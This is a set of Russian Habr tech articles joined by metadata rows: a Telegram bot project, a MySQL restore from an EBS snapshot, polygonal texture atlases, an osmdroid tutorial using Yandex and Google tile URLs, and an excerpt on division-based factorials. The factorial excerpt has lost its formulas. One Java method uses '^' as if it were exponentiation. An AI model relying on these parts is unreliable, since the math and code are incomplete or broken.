3. Для взлома БД бота нужно знать где именно она лежит, в отличии от, например сайта на Wordpress (я имею в виду, что при любительском "развёртывании" приложения база лежит примерно на том же адресе что и веб-морда)
4. У Телеграм ботов есть богатый функционал взаимодействия с пользователем (подробнее об этом позже)
Резюмируя выше описанное - доступ к этому приложению можно получить с любого устройства с Телеграмом внутри без дополнительного ввода кред и не сильно переживать об утечке данных
Для разных команд можно запустить несколько ботов и это будут отдельные системы.
Интерфейс
---------
Кнопки в окне сообщений в мессенджере - это выглядит солидно. Сразу чувствуется некоторая власть над ситуацией - нажал и что-то там бумкнуло.
Я же решил попробовать использовать inline-запросы: что-то вроде Power Shell внутри. Боты с таким интерфейсом встречаются довольно редко, но самый популярный из них это @gif - отправка GIF анимаций
Такой режим смотрит на то, что вводит пользователь и выводит в окне поиска различные айтемы: ссылки или медиафайлы. В чем преимущество таких запросов:
* в сложных операциях они работают быстрее чем череда ping-pong вопросов бота и ответов пользователя
* если выполняются однотипные операции - запрос можно скопировать и модифицировать при каждом вводе, а не вводить заново
* при вводе текстовой информации можно оперативно выводить нужные варианты действий, которые уже будут корректно определены
* также при вводе запроса пользователю показывается справка что можно ввести дальше - заблудиться сложно
Пример готовой реализации интерфейса:
Реализация
----------
Так исторически сложилось, что под новый пет проект я осваиваю новую для себя технологию и медленно прожариваюсь на начальном этапе. Так и здесь - открыл для себя Python, библиотеку aiogram - стандартный стек для ботовода из ютуба. Присыпал сверху MySQL`ом и с этим пирогом потихоньку стал спекаться: нашёл [неочевидную особенность работы с классами](https://ru.stackoverflow.com/questions/1413807) и [неприятные особенности API Телеграма](https://core.telegram.org/bots/api#callbackquery:~:text=If%20the%20button%20that%20originated%20the%20query%20was%20attached%20to%20a%20message%20sent%20by%20the%20bot%2C%20the%20field%20message%20will%20be%20present), которые мешали бесшовно использовать выбранный мной интерфейс.
В итоге из всех амбиций сделать крутую штуку моего запала хватило на фундамент приложения и реализацию функций управления пользователями и несколько методов работы со справочником
Зелёное - то что готовоЗаключение
----------
У многих, наверняка, есть свои пет проекты - у кого-то пара, у кого-то сотня. Абсолютное большинство из них не заслуживает траты времени на написание статьи и этот бы постигла такая участь, если бы не назначение.
Очень удобно донатить деньги (особенно когда они есть) в различные фонды - бросил и забыл. Но таким небольшим командам гораздо больше денег нужен хороший инструмент чтобы работать. И как мне кажется - IT-сообщество может его дать.
Приглашаю Вас поволонтёрить. Ознакомиться с проектом можно [тут](https://github.com/TaenFox/volounteer_nn_bot/tree/dev). | https://habr.com/ru/post/674676/ | null | ru | null |
# Восстановление данных в MySQL из снимка EBS
Это короткое руководство, возможно, поможет кому-то, кто использует AWS (и, в частности, MySQL на инстансе EC2), восстановить данные в MySQL из снимка EBS (регулярное создание которых любой предусмотрительный системный администратор, конечно же, настраивает заблаговременно — с помощью [ec2‑consistent‑snapshot](https://github.com/alestic/ec2-consistent-snapshot), например)
Прежде всего нужно открыть [EC2 Management Console](https://console.aws.amazon.com/ec2/v2/home), и в разделе ELASTIC BLOCK STORE → Snapshots найти подходящий снимок (обычно это последний снимок раздела).
Далее нужно щёлкнуть на снимке правой кнопкой мышки и выбрать «Create Volume». В Availability Zone при этом нужно выбрать тот же регион, в котором находится инстанс EC2.
После этого нужно перейти в раздел ELASTIC BLOCK STORE → Volumes и, опять же, щёлкнуть правой кнопкой мышки на появившийся раздел. В меню нужно выбрать пункт «Attach Volume», после чего в появившемся модальном окне выбрать инстанс EC2 и нажать «Yes, Attach».
Всё — на сервере должно появиться новое блочное устройство. Теперь можно запустить `dmesg | tail` и посмотреть, какой идентификатор был присвоен для подключённого блочного устройства. Допустим, это xvdg. Тогда ФС может располагаться, например, на /dev/xvdg1 (зависит от предпочтений того, кто создавал таблицу разделов).
Создаём новый каталог и монтируем в него раздел:
```
mkdir /mnt/backup
mount /dev/xvdg1 /mnt/backup
```
Для того, чтобы получить необходимые данные из бэкапа, включим дополнительный экземпляр MySQL, работающий с отдельной директорией данных:
```
sudo -u mysql /usr/libexec/mysqld --basedir=/usr --datadir=/mnt/backup/mysql --plugin-dir=/usr/lib64/mysql/plugin --log-error=/var/log/mysqld_backup.log --pid-file=/var/run/mysqld/mysqld_backup.pid --socket=/var/lib/mysql/mysql_backup.sock --port=5523
```
Теперь попробуем подключиться к запущенному экземпляру MySQL:
```
mysql -h 127.0.0.1 -P 5523
```
Если подключиться удалось, можно начинать процесс восстановления данных.
Для примера рассмотрим довольно простой сценарий: администратор-стажёр менял в продакшене значение для конкретного поля конкретного объекта, но отвлёкся на размышления о вечном, и случайно забыл написать в SQL‑запросе WHERE. Ну, ничего страшного — с кем не бывает.
Таким образом, теперь мы хотим восстановить значения поля sex в website.profile. Причём даже не для всех записей, а где-то для трети (потому что администратор был, конечно, задумчивый, но не настолько, чтобы не нажать Ctrl + C, поняв, что запрос явно выполняется подозрительно долго). Для этого в шелле основной базы данных создадим файл, содержащий нужные идентификаторы:
```
select id from profile where sex="test" into outfile '/tmp/profile_id_list';
```
Соответственно, будет создан файл /tmp/profile\_id\_list, где будут идентификаторы тех записей, поле sex которых нужно восстановить из бэкапа.
Далее пишем вот такой сценарий, и сохраняем его под именем restore.py:
```
import MySQLdb
db = MySQLdb.connect(host="127.0.0.1",
port=5523,
user="user",
passwd="password",
db="website")
c = db.cursor()
f = open("/tmp/profile_id_list")
for profile_id in f.readlines():
c.execute(
"select sex from profile where id=%s",
(profile_id,)
)
print "update profile set sex=\"%s\" where id=%s;" % (
c.fetchone()[0],
profile_id[:-1]
)
```
И записываем SQL‑файл для восстановления sex:
```
python restore.py > restore.sql
```
Проверяем, что файл в порядке (например, количество строк можно посмотреть с помощью `wc -l restore.sql`), и, затем, выполняем SQL‑запросы из файла:
```
mysql website < restore.sql
```
Проверяем, что всё успешно восстановилось.
Теперь можно удалить /tmp/profile\_id\_list и прочие файлы, и, соответственно, выключить MySQL‑сервер:
```
mysqladmin -u root -p -h 127.0.0.1 -P 5523 shutdown
```
Далее просто отмонтируем раздел и удалим каталог, в который он монтировался:
```
umount /mnt/backup
rm -r /mnt/backup
```
А в AWS Management Console, соответственно, заходим в раздел ELASTIC BLOCK STORE → Volumes и отключаем виртуальное блочное устройство (Detach Volume). После этого его можно удалить (Delete Volume).
Ещё можно снова зайти в раздел со снимками (ELASTIC BLOCK STORE → Snapshots) и как-нибудь отметить те снимки, где (судя по времени создания снимка) есть неправильные данные (например, отразить это в имени снимка). Альтернатива — вообще удалить снимок. Но это решение хуже с той точки зрения, что именно этот снимок может понадобиться кому-то ещё (для восстановления совершенно других данных, которые именно в этом снимке могут быть как раз в полном порядке). Поэтому лучше по умолчанию предполагать, что любой современный (а тем более самый последний) снимок может содержать ценные данные, и на всякий случай не удалять их какое-то время (например, неделю).
И напоследок совет. У MySQL есть режим, в котором нельзя выполнить запрос DELETE или UPDATE, если в нём не указано условие WHERE, в котором однозначно задаётся конкретный объект. Поэтому, если вы случайно забыли добавить WHERE, то вы просто получите ошибку:
> ERROR 1175 (HY000): You are using safe update mode and you tried to update a table without a WHERE that uses a KEY column
>
>
Для включения такого режима достаточно добавить к опциям команды mysql, по вкусу: `‑‑i‑am‑a‑dummy` или `‑‑safe‑updates`.
Аналогичного эффекта можно добиться, добавив в файл ~/.my.cnf строку `safe‑updates` (что удобно, например, если вы запускаете команду mysql вообще без всяких опций, и всё автоматически берётся из ~/.my.cnf).
Кстати, по умолчанию этот режим добавляет ещё пару ограничений (которые, впрочем, можно отключить, но на практике это требуется редко): для select\_limit устанавливается значение 1000, а для max\_join\_size — 1000000. | https://habr.com/ru/post/218821/ | null | ru | null |
# Как оптимизировать игру с помощью полигональных атласов
Как всем известно, жизнь разработчика мобильных игр непроста. Он должен найти свой путь на очень узкой дорожке. С одной ее стороны — требования гейм-дизайнеров, уверенно устремляющиеся к бесконечности. Больше функционала, больше красивой графики, больше эффектов, больше анимаций, больше звуков. А с другой стороны — ограниченные ресурсы мобильного устройства. И раньше всего, как правило, заканчивается оперативная память.
Например, iPad 2 — всего в нем 512 Мб RAM. Однако приложению доступно только примерно 275 Мб. Когда занимаемая приложением память будет приближаться к этой границе, операционная система пришлет так называемое «Memory warning» — мягко, но настойчиво предложит освободить память. И если лимит все же будет превышен, операционная система остановит приложение. Пользователь будет думать, что ваша игра упала и побежит писать гневное письмо в саппорт.
[](https://habrahabr.ru/company/playrix/blog/306554/)
Главный потребитель памяти — это, конечно, графика. В этой статье мы попробуем рассказать о пусть немного сложном, но эффективном способе, который используется для уменьшения занимаемой текстурами памяти, а также для повышения скорости отрисовки.
Текстуры и атласы
-----------------
Как всем опять же известно, рисовать текстуры напрямую из исходных файлов — плохая идея. Вместо этого их упаковывают в текстурные атласы.
Текстурный атлас — это большое изображение, полученное склеиванием маленьких текстур. Тем самым экономится память и, что еще более важно, уменьшается количество батчей при отрисовке. Есть два видео, наглядно демонстрирующих почему атлас — это хорошо, а отдельные текстуры — это плохо: [раз](https://www.codeandweb.com/what-is-a-sprite-sheet) и [два](https://www.codeandweb.com/what-is-a-sprite-sheet-performance). Таким образом, задача упаковки текстурного атласа обычно сводится к следующему: взять прямоугольники разных размеров (исходные текстуры) и максимально плотно уложить их в один большой прямоугольник, или, чаще, квадрат. Мы не на олимпиаде и идеальная упаковка нам не нужна, а написать алгоритм, плотно упаковывающий текстуры за разумное время, совсем не сложно. Мы довольно давно пользуемся таким алгоритмом, который генерирует нам текстурные атласы. Примерно такие:
Как легко заметить, в нем довольно много свободного места и прямо-таки хочется упаковать текстуры поплотнее. Причина неэффективной упаковки в том, что многие текстуры содержат довольно большие прозрачные области. Поэтому однажды мы решили попробовать отказаться от обычной прямоугольной упаковки и сделать то, что в итоге получило название «полигональный атлас». Для этого нужно решить 2 задачи:
**1.** Для каждой исходной текстуры надо найти такой набор треугольников, чтобы он содержал все ее непрозрачные пиксели. Тогда, если мы нарисуем все эти треугольники, на экране как раз появится исходная текстура. При этом есть важное ограничение — треугольников не должно быть слишком много, иначе отрисовка будет очень медленной. Таким образом, нужен компромисс между количеством треугольников и занимаемой ими площадью. Поэтому сначала был написан алгоритм с множеством параметров для тонкой настройки, и уже затем, проводя эксперименты на реальных текстурах, мы подобрали эти параметры.
**2.** Получившиеся фигуры сложной формы (те самые полигоны) нужно как можно плотнее упаковать в атлас. Здесь был использован один из вариантов алгоритма [пчелиного роя](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%B5%D0%B2%D0%BE%D0%B9_%D0%B8%D0%BD%D1%82%D0%B5%D0%BB%D0%BB%D0%B5%D0%BA%D1%82), который, проводя многочисленные попытки с использованием генератора случайных чисел, пытался найти достаточно плотный вариант упаковки. Здесь потребовался компромисс другого рода — между качеством упаковки и затрачиваемым на упаковку временем.
Пройдя довольно длительный путь и совершив попытку упаковки тестового атласа примерно 100 000 раз, мы наконец добились результата:
Как видно, упаковка действительно гораздо плотнее. В зависимости от текстур, выигрыш может составлять до 1/4 их площади. Можно также сформировать отладочный вариант атласа, в котором видно разбивку текстур на треугольники.
Помимо самого атласа, генерируется его описание, в котором указаны имена исходных текстур и координаты получившихся треугольников.
При использовании полигональных атласов процесс отрисовки, с одной стороны, ускоряется, с другой — замедляется. Ускоряется он потому, что общая рисуемая площадь стала меньше, и, следовательно, значение overdraw тоже стало меньше. А замедляется потому, что если раньше любая текстура рисовалась всего двумя треугольниками, то теперь, как можно видеть в приведенном примере, их стало гораздо больше. В целом, при разумных настройках упаковщика атласов, больших изменений в скорости работы системы отрисовки у нас не произошло.
Есть еще одна проблема, с которой мы столкнулись при переходе на новые атласы. Часто требуется нарисовать не текстуру целиком, а только ее часть. Например, если надо сделать постепенное появление объекта на экране или какой-нибудь индикатор прогресса. При использовании обычных атласов задача легко решается при помощи коррекции uv-координат. В случае же полигональных атласов все становится сложнее. Посмотрим на примере. Синим на картинке выделена часть текстуры, которую надо нарисовать:
Потребуется:
* Исключить из отрисовки треугольники, которые не попадают в рисуемую часть текстуры
* Найти пересечения новой границы текстуры с исходными треугольниками. Результат может уже не быть треугольником, и может потребоваться разбить его на 2 новых треугольника.
Решение такой задачи даст возможность неплохо поупражняться в школьном курсе геометрии. Кроме того, такой алгоритм может работать не очень быстро.
Бывают и более сложные случаи. Например, круговой прогресс или какие-то искажения текстуры. Поэтому оказалось, что проще некоторые текстуры упаковывать в обычные атласы или не упаковывать совсем, чтобы не усложнять процесс отрисовки.
Немного технических подробностей. Время упаковки полигонального атласа сильно зависит от настройки качества упаковки. Поскольку при любом изменении набора текстур атласы надо пересобирать, это приходится делать довольно часто. Поэтому обычно у нас включен режим «минимальная плотность, максимальная скорость». В таком режиме 8 атласов размером 2048x2048 пакуются примерно 5 минут. В общих чертах процесс упаковки выглядит так:
* текстуры разбиваются на треугольники;
* текстуры сортируются по убыванию высоты;
* предварительная упаковка текстур. Выбираются все текстуры по порядку и для каждой ищется свободное место в атласе;
* производится несколько попыток более плотной переупаковки текстур. Количество попыток зависит от настроек качества;
* если удалось улучшить первоначальную упаковку, то в атлас добавляются дополнительные текстуры.
Как правило, уже предварительная упаковка является достаточно плотной. При попытке повышения качества, время упаковки вырастает очень сильно — до нескольких часов на 1 атлас — а выигрыш может составлять 2-3 дополнительно упакованные текстуры.
В играх мы используем движок собственной разработки. Для перехода на полигональные атласы пришлось немного его доработать. К счастью, у нас уже была абстрактная рисуемая сущность — класс Drawable:
```
class Drawable {
virtual int Width() const;
virtual int Height() const;
virtual bool HitTest(int x, int y) const;
virtual void Draw(SpriteBatch* batch, const FPoint& position);
}
```
У неё уже были функции получения размера, проверки непрозрачности пикселя для обработки кликов и отрисовки. Потребовалось только создать еще один класс PolygonalSprite, который правильно реализовывал бы эти функции с учетом разбиения текстуры на треугольники.
Также, чтобы клиентский код мог получить список треугольников текстуры и произвести с ними какие-то преобразования, в интерфейс была добавлена функция
```
virtual void GetGeometry(std::vector& geometry) const;
```
Для обычных текстур и обычных атласов эта функция возвращает четыре вершины, образующие прямоугольник, соответствующий исходной текстуре. А для текстур из полигональных атласов — массив вершин треугольников на которые разбита текстура.
Сейчас полигональные атласы используются во многих наших проектах и можно считать, что они прошли испытание временем. Например, в нашем следующем free-to-play проекте Gardenscapes, мировой релиз которого состоится ***совсем скоро***, основная часть игрового процесса происходит в принадлежащем игроку саду.
Для него нарисовано просто огромное количество разнообразных текстур, некоторые из них использованы в настоящей статье как примеры. Сейчас все эти текстуры умещаются в 8 полигональных атласов 2048x2048. А вот если бы мы упаковывали атласы обычным способом, то их получилось бы уже 11. Таким образом, мы получаем экономию оперативной памяти, в зависимости от применяемого графического формата, от 6 до 48 МБ. А гейм-дизайнеры могут предложить на четверь красивеньких текстур больше!
*Об авторе: Сергей Шестаков, технический директор компании Playrix.* | https://habr.com/ru/post/306554/ | null | ru | null |
# Карты Yandex без использования Yandex Map Kit или карты из различных источников в приложении под Android
Здравствуйте!
В этом сообщении рассмотрим использование карт из различных источников (в том числе Yandex карты) в приложении под Android.
Для решения задачи будем использовать библиотеку [osmdroid](http://code.google.com/p/osmdroid/). Нам потребуется сама [библиотека](http://osmdroid.googlecode.com/files/osmdroid-android-3.0.5.jar)(ссылка не на последнюю версию, эта версия, как мне кажется, более стабильна и быстрее, чем более новые) и еще [одна](http://www.slf4j.org/android/slf4j-android-1.5.8.jar) дополнительная. Добавим их в проект (использовался Eclipse под Windows) (Build Path->Configure Buil Path->Libraries->Add External JARs).
Пропишем необходимые разрешения в манифесте проекта
```
```
Для добавления новых источников карт, например, Yandex и Google (Mapnik уже встроен в библиотеку) потребуется расширить класс XYTileSource
**MyTileSource**
```
public class MyTileSource extends XYTileSource {
public MyTileSource(String aName, string aResourceId, int aZoomMinLevel,
int aZoomMaxLevel, int aTileSizePixels,
String aImageFilenameEnding, String... aBaseUrl) {
super(aName, aResourceId, aZoomMinLevel, aZoomMaxLevel,
aTileSizePixels, aImageFilenameEnding, aBaseUrl);
}
//переопределим метод getTileURLString, он будет возвращать ссылку на тайл карты
@Override
public String getTileURLString(MapTile aTile) {
return String.format(getBaseUrl(), aTile.getX(), aTile.getY(),
aTile.getZoomLevel());
}
}
```
Проблема в том, что osmdroid не поддерживает проекцию Yandex карт. Поэтому для корректного отображения Yandex карт расширим класс TilesOverlay. Для преобразования координат в тайлы и обратно в сети был найден [класс](http://www.geofaq.ru/forum/index.php?action=vthread&forum=2&topic=7&page=5#msg1152). Вот этот немного доработанный класс
**YandexUtils**
```
public class YandexUtils {
public static double[] geoToMercator(double[] g) {
double d = g[0] * Math.PI / 180, m = g[1] * Math.PI / 180, l = 6378137, k = 0.0818191908426, f = k
* Math.sin(m);
double h = Math.tan(Math.PI / 4 + m / 2), j = Math.pow(
Math.tan(Math.PI / 4 + Math.asin(f) / 2), k), i = h / j;
// return new DoublePoint(Math.round(l * d), Math.round(l *
// Math.log(i)));
return new double[] { l * d, l * Math.log(i) };
}
public static double[] mercatorToGeo(double[] e) {
double j = Math.PI, f = j / 2, i = 6378137, n = 0.003356551468879694, k = 0.00000657187271079536, h = 1.764564338702e-8, m = 5.328478445e-11;
double g = f - 2 * Math.atan(1 / Math.exp(e[1] / i));
double l = g + n * Math.sin(2 * g) + k * Math.sin(4 * g) + h
* Math.sin(6 * g) + m * Math.sin(8 * g);
double d = e[0] / i;
return new double[] { d * 180 / Math.PI, l * 180 / Math.PI };
}
public static double[] mercatorToTiles(double[] e) {
double d = Math.round((20037508.342789 + e[0]) * 53.5865938), f = Math
.round((20037508.342789 - e[1]) * 53.5865938);
d = boundaryRestrict(d, 0, 2147483647);
f = boundaryRestrict(f, 0, 2147483647);
return new double[] { d, f };
}
public static double[] tileToMercator(long[] d) {
return new double[] { Math.round(d[0] / 53.5865938 - 20037508.342789),
Math.round(20037508.342789 - d[1] / 53.5865938) };
}
public static double[] tileCoordinatesToPixels(double[] i, int h) {
double g = Math.pow(2, toScale(h));
return new double[] { (int) i[0] / g, (int) i[1] / g };
}
public static double boundaryRestrict(double f, double e, double d) {
return Math.max(Math.min(f, d), e);
}
public static int toScale(int i) {
return 23 - i;
}
public static long[] getTile(double[] h, int i) {
long e = 8;
long j = toScale(i), g = (long) h[0] >> j, f = (long) h[1] >> j;
return new long[] { g >> e, f >> e };
}
public static long[] getPxCoordFromTileCoord(double[] h, int i) {
long j = toScale(i), g = (long) h[0] >> j, f = (long) h[1] >> j;
return new long[] { g, f };
}
public static long[] getTileCoordFromPixCoord(long[] h, int i) {
long j = toScale(i), g = h[0] << j, f = h[1] << j;
return new long[] { g, f };
}
public static double[] ReGetTile(double[] h, int i) {
long e = 8;
long j = toScale(i);
long g = (long) h[0] << (int) j;
long f = (long) h[1] << (int) j;
double ge = g << (int) e;
double fe = f << (int) e;
long g2 = (long) (h[0] + 1) << (int) j;
long f2 = (long) (h[1] + 1) << (int) j;
double ge2 = g2 << (int) e;
double fe2 = f2 << (int) e;
double ad_g = (ge2 - ge) * (h[0] - Math.floor(h[0]));
double ad_f = (fe2 - fe) * (h[1] - Math.floor(h[1]));
return new double[] { ge + ad_g, fe + ad_f };
}
public static double[] ReGetTile(long[] h, int i) {
long e = 8;
long j = toScale(i);
long g = (long) h[0] << (int) j;
long f = (long) h[1] << (int) j;
return new double[] { g << (int) e, f << (int) e };
}
public static double[] getGeoFromTile(int x, int y, int zoom) {
double a, c1, c2, c3, c4, g, z, mercX, mercY;
a = 6378137;
c1 = 0.00335655146887969;
c2 = 0.00000657187271079536;
c3 = 0.00000001764564338702;
c4 = 0.00000000005328478445;
mercX = (x * 256 * 2 ^ (23 - zoom)) / 53.5865938 - 20037508.342789;
mercY = 20037508.342789 - (y * 256 * 2 ^ (23 - zoom)) / 53.5865938;
g = Math.PI / 2 - 2 * Math.atan(1 / Math.exp(mercY / a));
z = g + c1 * Math.sin(2 * g) + c2 * Math.sin(4 * g) + c3
* Math.sin(6 * g) + c4 * Math.sin(8 * g);
return new double[] { mercX / a * 180 / Math.PI, z * 180 / Math.PI };
}
public static long[] getTileFromGeo(double lat, double lon, int zoom) {
double rLon, rLat, a, k, z;
rLon = lon * Math.PI / 180;
rLat = lat * Math.PI / 180;
a = 6378137;
k = 0.0818191908426;
z = Math.pow(
Math.tan(Math.PI / 4 + rLat / 2)
/ (Math.tan(Math.PI / 4 + Math.asin(k * Math.sin(rLat))
/ 2)), k);
return new long[] {
(int) (((20037508.342789 + a * rLon) * 53.5865938 / Math.pow(2,
(23 - zoom))) / 256),
(int) (((20037508.342789 - a * Math.log(z)) * 53.5865938 / Math
.pow(2, (23 - zoom)))) / 256 };
}
public static double tile2lon(int x, int aZoom) {
return (x / Math.pow(2.0, aZoom) * 360.0) - 180;
}
public static double tile2lat(int y, int aZoom) {
final double MerkElipsK = 0.0000001;
final long sradiusa = 6378137;
final long sradiusb = 6356752;
final double FExct = (double) Math.sqrt(sradiusa * sradiusa - sradiusb
* sradiusb)
/ sradiusa;
final int TilesAtZoom = 1 << aZoom;
double result = (y - TilesAtZoom / 2) / -(TilesAtZoom / (2 * Math.PI));
result = (2 * Math.atan(Math.exp(result)) - Math.PI / 2) * 180
/ Math.PI;
double Zu = result / (180 / Math.PI);
double yy = ((y) - TilesAtZoom / 2);
double Zum1 = Zu;
Zu = Math.asin(1
- ((1 + Math.sin(Zum1)) * Math.pow(1 - FExct * Math.sin(Zum1),
FExct))
/ (Math.exp((2 * yy) / -(TilesAtZoom / (2 * Math.PI))) * Math
.pow(1 + FExct * Math.sin(Zum1), FExct)));
while (Math.abs(Zum1 - Zu) >= MerkElipsK) {
Zum1 = Zu;
Zu = Math
.asin(1
- ((1 + Math.sin(Zum1)) * Math.pow(
1 - FExct * Math.sin(Zum1), FExct))
/ (Math.exp((2 * yy)
/ -(TilesAtZoom / (2 * Math.PI))) * Math
.pow(1 + FExct * Math.sin(Zum1), FExct)));
}
result = Zu * 180 / Math.PI;
return result;
}
public static int[] getMapTileFromCoordinates(final double aLat,
final double aLon, final int zoom) {
final int[] out = new int[2];
final double E2 = (double) aLat * Math.PI / 180;
final long sradiusa = 6378137;
final long sradiusb = 6356752;
final double J2 = (double) Math.sqrt(sradiusa * sradiusa - sradiusb
* sradiusb)
/ sradiusa;
final double M2 = (double) Math.log((1 + Math.sin(E2))
/ (1 - Math.sin(E2)))
/ 2
- J2
* Math.log((1 + J2 * Math.sin(E2)) / (1 - J2 * Math.sin(E2)))
/ 2;
final double B2 = (double) (1 << zoom);
out[0] = (int) Math.floor(B2 / 2 - M2 * B2 / 2 / Math.PI);
out[1] = (int) Math.floor((aLon + 180) / 360 * (1 << zoom));
return out;
}
}
```
Теперь когда есть формулы для преобразования координат можем расширить TilesOverlay
**YandexTilesOverlay**
```
public class YandexTilesOverlay extends TilesOverlay {
private final Rect mTileRect = new Rect();
private final Point mTilePos = new Point();
public YandexTilesOverlay(MapTileProviderBase aTileProvider,
Context aContext) {
super(aTileProvider, aContext);
}
//переопределим метод draw для отрисовки Yandex тайлов
@Override
protected void draw(Canvas c, MapView osmv, boolean shadow) {
//текущий масштаб
int zoom = osmv.getZoomLevel();
final Projection pj = osmv.getProjection();
//координаты углов видимой части карты
BoundingBoxE6 bb = osmv.getBoundingBox();
//получаем координаты верхнего левого и нижнего правого тайла
double[] MercatorTL = YandexUtils.geoToMercator(new double[] {
bb.getLonWestE6() / 1E6, bb.getLatNorthE6() / 1E6 });
double[] TilesTL = YandexUtils.mercatorToTiles(MercatorTL);
long[] TileTL = YandexUtils.getTile(TilesTL, zoom);
double[] MercatorRB = YandexUtils.geoToMercator(new double[] {
bb.getLonEastE6() / 1E6, bb.getLatSouthE6() / 1E6 });
double[] TilesRB = YandexUtils.mercatorToTiles(MercatorRB);
long[] TileRB = YandexUtils.getTile(TilesRB, zoom);
mTileProvider
.ensureCapacity((int) ((TileRB[1] - TileTL[1] + 1) * (TileRB[0]
- TileTL[0] + 1)));
//геокоординаты верхнего левого тайла Yandex
double[] reTiles = YandexUtils.ReGetTile(new long[] { TileTL[0],
TileTL[1] }, zoom);
long xx = (long) reTiles[0];
long yy = (long) reTiles[1];
double[] reMercator = YandexUtils.tileToMercator(new long[] { xx, yy });
double[] tmp = YandexUtils.mercatorToGeo(reMercator);
//геокоординаты верхнего левого тайла Yandex переводим в экранные координаты osmdroid
GeoPoint gp = new GeoPoint(tmp[1], tmp[0]);
pj.toPixels(gp, mTilePos);
//в цикле отрисовываем все видимые тайлы Yandex
for (int y = (int) TileTL[1]; y <= TileRB[1]; y++) {
int xcount = 0;
for (int x = (int) TileTL[0]; x <= TileRB[0]; x++) {
final MapTile tile = new MapTile(zoom, x, y);
final Drawable currentMapTile = mTileProvider.getMapTile(tile);
if (currentMapTile != null) {
mTileRect.set(mTilePos.x, mTilePos.y, mTilePos.x + 256,
mTilePos.y + 256);
currentMapTile.setBounds(mTileRect);
currentMapTile.draw(c);
}
xcount++;
mTilePos.x += 256;
}
mTilePos.x -= xcount * 256;
mTilePos.y += 256;
}
}
}
```
Осталось вывести карты на форме
**BlogOsmYandexActivity**
```
public class BlogOsmYandexActivity extends Activity {
MapView mMap;
MapController mMapController;
YandexTilesOverlay tilesOverlayYandex;
TilesOverlay tilesOverlayGoogle;
TilesOverlay tilesOverlayMapnik;
MapTileProviderBasic tileProviderYandex;
MapTileProviderBasic tileProviderGoogle;
MapTileProviderBasic tileProviderMapnik;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//разметка
RelativeLayout rl = new RelativeLayout(this);
//карта
mMap = new MapView(this, 256);
//включить встроенные кнопки управления масштабом
mMap.setBuiltInZoomControls(true);
//добавляем карту в разметку
rl.addView(mMap, new RelativeLayout.LayoutParams(
LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT));
setContentView(rl);
//устанавливаем начальный масштаб и координаты центра карты
mMapController = mMap.getController();
mMapController.setZoom(15);
mMapController.setCenter(new GeoPoint(55.751893, 37.617166));
//добавляем источник тайлов Yandex
//ссылку можно подсмотреть в firebug
//getTileURLString подставит вместо %s координаты тайла и масштаб
ITileSource tileSourceYandex = new MyTileSource(
"YandexMap",
null,
0,
23,
256,
".png",
"http://vec04.maps.yandex.net/tiles?l=map&v=2.28.0&x=%s&y=%s&z=%s⟨=ru-RU",
"http://vec03.maps.yandex.net/tiles?l=map&v=2.28.0&x=%s&y=%s&z=%s⟨=ru-RU",
"http://vec02.maps.yandex.net/tiles?l=map&v=2.28.0&x=%s&y=%s&z=%s⟨=ru-RU",
"http://vec01.maps.yandex.net/tiles?l=map&v=2.28.0&x=%s&y=%s&z=%s⟨=ru-RU");
//добавляем источник тайлов Google
ITileSource tileSourceGoogle = new MyTileSource(
"Google-Map",
null,
0,
23,
256,
".png",
"http://mt0.google.com/vt/lyrs=m&hl=ru&x=%s&y=%s&z=%s&s=Galileo",
"http://mt1.google.com/vt/lyrs=m&hl=ru&x=%s&y=%s&z=%s&s=Galileo",
"http://mt2.google.com/vt/lyrs=m&hl=ru&x=%s&y=%s&z=%s&s=Galileo",
"http://mt3.google.com/vt/lyrs=m&hl=ru&x=%s&y=%s&z=%s&s=Galileo");
//создаем поставщика тайлов и задаем для него источник тайлов Yandex
tileProviderYandex = new MapTileProviderBasic(getApplicationContext());
tileProviderYandex.setTileSource(tileSourceYandex);
tileProviderYandex.setTileRequestCompleteHandler(mMap
.getTileRequestCompleteHandler());
//создаем слой Yandex карты
tilesOverlayYandex = new YandexTilesOverlay(tileProviderYandex,
this.getBaseContext());
//создаем поставщика тайлов и задаем для него источник тайлов Google
tileProviderGoogle = new MapTileProviderBasic(getApplicationContext());
tileProviderGoogle.setTileRequestCompleteHandler(mMap
.getTileRequestCompleteHandler());
tileProviderGoogle.setTileSource(tileSourceGoogle);
//создаем слой Google карты
tilesOverlayGoogle = new TilesOverlay(tileProviderGoogle,
this.getBaseContext());
//создаем поставщика тайлов и задаем для него источник тайлов Mapnik
tileProviderMapnik = new MapTileProviderBasic(getApplicationContext());
tileProviderMapnik.setTileRequestCompleteHandler(mMap
.getTileRequestCompleteHandler());
tileProviderMapnik.setTileSource(TileSourceFactory.MAPNIK);
//создаем слой Mapnik карты
tilesOverlayMapnik = new TilesOverlay(tileProviderMapnik,
this.getBaseContext());
//устанавливаем Yandex карты текущим слоем
mMap.getOverlayManager().setTilesOverlay(tilesOverlayYandex);
}
//меню для смены карт/слоев
@Override
public boolean onCreateOptionsMenu(Menu menu) {
SubMenu sm = menu.addSubMenu("Выбор карты");
sm.add(0, 111, Menu.NONE, "Яндекс");
sm.add(0, 222, Menu.NONE, "Google");
sm.add(0, 333, Menu.NONE, "Mapnik");
return true;
}
//в зависимости от выбора устанавливаем текущую карту/слой
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case (111):
mMap.getOverlayManager().setTilesOverlay(tilesOverlayYandex);
mMap.invalidate();
return true;
case (222):
mMap.getOverlayManager().setTilesOverlay(tilesOverlayGoogle);
mMap.invalidate();
return true;
case (333):
mMap.getOverlayManager().setTilesOverlay(tilesOverlayMapnik);
mMap.invalidate();
return true;
default:
return super.onOptionsItemSelected(item);
}
}
}
```
Результат
 | https://habr.com/ru/post/151103/ | null | ru | null |
# Делимые факториалы
Недавно я был совершенно сбит с толку этим твитом «Библиотеки Ферма»:
*«Вот что получится, если в факториале не умножать, а делить.»*
Когда я увидел его, мне пришлось бросить свои дела, схватить блокнот и проверить формулу. Результат в черновом виде казался логичным. Так как мультипликативная версия  при увеличении  стремится к бесконечности, то «делительная» версия должна стремиться к нулю. И  ведёт себя именно так; полиномиальная функция  растёт медленнее, чем степенная функция  для достаточно больших :
Но почему результат деления принимает именно вид ? Откуда берётся ?
Чтобы ответить на этот вопрос, мне пришлось разбередить старую травму, связанную с изучением деления дробей, но я справился с болью. Двигаясь по формуле из твита слева направо, мы сначала получаем . Затем, поделив эту величину на , получаем
